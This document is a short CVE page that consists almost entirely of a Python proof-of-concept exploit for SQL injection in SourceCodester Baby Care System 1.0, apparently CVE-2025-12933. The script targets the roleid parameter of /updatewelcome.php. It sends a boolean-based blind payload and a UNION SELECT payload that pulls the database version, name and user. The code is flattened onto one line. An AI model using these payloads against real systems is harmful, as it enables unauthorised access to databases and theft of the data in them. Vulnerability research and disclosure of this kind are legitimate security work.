CVE-2025-12933 SourceCodester Baby Care System 1.0 SQL注入漏洞

# CVE-2025-12933 SQL Injection PoC # Target: SourceCodester Baby Care System 1.0 # Endpoint: /updatewelcome.php?id=siteoptions&action=welcome import requests import sys target_url = "http://target.com/updatewelcome.php" def sql_injection_test(): # Test basic SQL injection with boolean-based blind injection payload = "1' AND 1=1 -- " params = { 'id': 'siteoptions', 'action': 'welcome', 'roleid': payload } try: response = requests.get(target_url, params=params) print(f"[*] Sending payload: {payload}") print(f"[*] Status Code: {response.status_code}") # Check for SQL error indicators if "SQL" in response.text or "error" in response.text.lower(): print("[!] Potential SQL injection vulnerability detected") return True except Exception as e: print(f"[!] Error: {e}") return False def extract_database_info(): # Union-based injection for data extraction payload = "1' UNION SELECT NULL,version(),database(),user() -- " params = { 'id': 'siteoptions', 'action': 'welcome', 'roleid': payload } try: response = requests.get(target_url, params=params) print(f"[*] Extracting database information...") print(f"[*] Response length: {len(response.text)}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": print("[*] CVE-2025-12933 SQL Injection PoC") print("[*] Target: SourceCodester Baby Care System 1.0") sql_injection_test() extract_database_info()